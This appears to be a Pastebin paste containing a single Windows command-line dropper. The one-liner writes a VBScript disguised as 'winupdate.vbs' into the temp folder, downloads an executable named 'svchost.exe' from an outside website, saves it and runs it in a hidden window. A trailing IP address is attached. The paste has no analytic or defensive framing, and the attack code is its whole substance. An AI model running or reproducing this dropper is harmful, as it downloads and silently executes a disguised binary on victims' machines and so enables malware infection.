Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cmd /C "@echo Dim objX: Set objX=CreateObject^("MSXML2.XMLHTTP"^)>"%TEMP%\winupdate.vbs"&@echo Dim objT: Set objT=CreateObject^("ADODB.Stream"^)>>"%TEMP%\winupdate.vbs"&@echo Dim objS: Set objS=CreateObject^("WScript.Shell"^)>>"%TEMP%\winupdate.vbs"&@echo Dim objF: Set objF=CreateObject^("Scripting.FileSystemObject"^)>>"%TEMP%\winupdate.vbs"&@echo Dim TEMP: Set TEMP=objF.GetSpecialFolder^(2^)>>"%TEMP%\winupdate.vbs"&@echo objX.Open "GET","http://makhmalbaf.com/modules/rdf/svchost.exe",False>>"%TEMP%\winupdate.vbs"&@echo objX.Send>>"%TEMP%\winupdate.vbs"&@echo Do While objX.Status=200 And objX.ReadyState^=^4>>"%TEMP%\winupdate.vbs"&@echo With objT>>"%TEMP%\winupdate.vbs"&@echo .Type^=^1>>"%TEMP%\winupdate.vbs"&@echo .Open>>"%TEMP%\winupdate.vbs"&@echo .Write objX.ResponseBody>>"%TEMP%\winupdate.vbs"&@echo .SaveToFile TEMP^&"\svchost.exe",^2>>"%TEMP%\winupdate.vbs"&@echo End With>>"%TEMP%\winupdate.vbs"&@echo Exit Do>>"%TEMP%\winupdate.vbs"&@echo Loop>>"%TEMP%\winupdate.vbs"&@echo objS.Run Chr^(34^)^&TEMP^&"\svchost.exe"^&Chr^(34^),0,False>>"%TEMP%\winupdate.vbs"&cscript "%TEMP%\winupdate.vbs""190.82.67.18
Advertisement
Add Comment
Please, Sign In to add comment
